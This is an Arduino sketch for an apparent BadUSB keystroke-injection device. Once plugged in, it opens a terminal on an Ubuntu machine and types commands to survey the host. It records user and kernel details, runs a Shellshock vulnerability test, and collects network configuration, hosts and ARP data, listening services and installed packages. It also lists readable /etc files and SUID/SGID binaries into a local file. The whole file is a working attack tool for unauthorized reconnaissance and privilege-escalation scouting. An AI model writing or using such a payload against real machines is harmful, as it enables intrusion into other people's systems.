//信息收集
//启用Ubuntu终端搜集操作系统信息
void setup() {
  Keyboard.begin();
  delay(3000);
  Keyboard.press(KEY_LEFT_ALT);
  delay(200); 
  Keyboard.press(KEY_F2);
  delay(200); 
  Keyboard.release(KEY_LEFT_ALT);
  Keyboard.release(KEY_F2);
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  delay(200); 
  //=========================Run==========================
  Keyboard.print("GNOME-TERMINAL");
  delay(100);
  Keyboard.println();
  delay(200);
  Keyboard.print("CLEAR");
  delay(10);
  Keyboard.println();
  delay(50);
  Keyboard.print("ECHO \"lOGGED IN USER:\" $user > INFO_GATHERING.TXT");
  Keyboard.println();
  delay(50);
  Keyboard.print("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.print("ECHO 0N \"dISTRIBUTION kERNEL vERSION:\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.print("CAT /ETC/ISSUE | CUT -C1-13 >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.print("ECHO -N \"UNAME RESULTS: \" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.print("UNAME -A >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(100);
  Keyboard.print("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.print("ECHO \"sHELLSOCK bUG vULNERABILITY\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  Keyboard.print("ECHO >> INFO_GATHERING.TXT");
  Keyboard.println();
  delay(50);
  Keyboard.print("ENV X='() { :;};ECHO VULNERABLE' BASH -C `ECHO HELLO` >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(100);
  Keyboard.println();
  delay(100);
  Keyboard.print("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.println("ECHO \"mOUNTED FILESYSTEMS\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("MOUNT -L >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(100);
  Keyboard.println("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.print("ECHO \"nETWORK cONFIGURATION\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(50);
  Keyboard.println("IFCONFIG -A | GREP 'lINK\\|INET' >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO \"pRINT hOSTS\" >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("CAT /ETC/HOSTS >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO ECHO \"pRINT arp\" >>  INFO_GATHERING.TXT");
  delay(50); 
  Keyboard.println("ARP >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO \"dEVELOPMENT TOOLS AVAILABILITY\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("WHICH GCC >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("WHICH G++ >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("WHICH PYTHON >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO \"pRINT tcp/UDP lISTENING sERVICES\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("NETSTAT -TUNLPE >> INFO_GATHERING.TXT");
  delay(300);
  Keyboard.println("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.print("ECHO \"iNSTALLED pACKAGES\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  delay(200);
  Keyboard.println("DPKG -L >> INFO_GATHERING.TXT");
  delay(300);
  Keyboard.println("ECHO >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("ECHO \"fIND rEADABLE fOLDERS IN /ETC\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("FIND /ETC -USER `ID -U` -PERM -U=R -O -GROUP `ID -G` -PERM -G=R -O -PERM -O=R -LS 2> /DEV/NULL >>  INFO_GATHERING.TXT");
  delay(500);
  Keyboard.println("ECHO >>  INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println("\"fIND suid AND guid FILES\" >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.print("FIND / -TYPE F -PERM -U=S -O -TYPE F -PERM -G=S -LS 2>/DEV/NULL >> INFO_GATHERING.TXT");
  delay(50);
  Keyboard.println();
  //======================================================
  Keyboard.press(KEY_CAPS_LOCK);
  Keyboard.release(KEY_CAPS_LOCK);
  Keyboard.end();
}

void loop() {
}
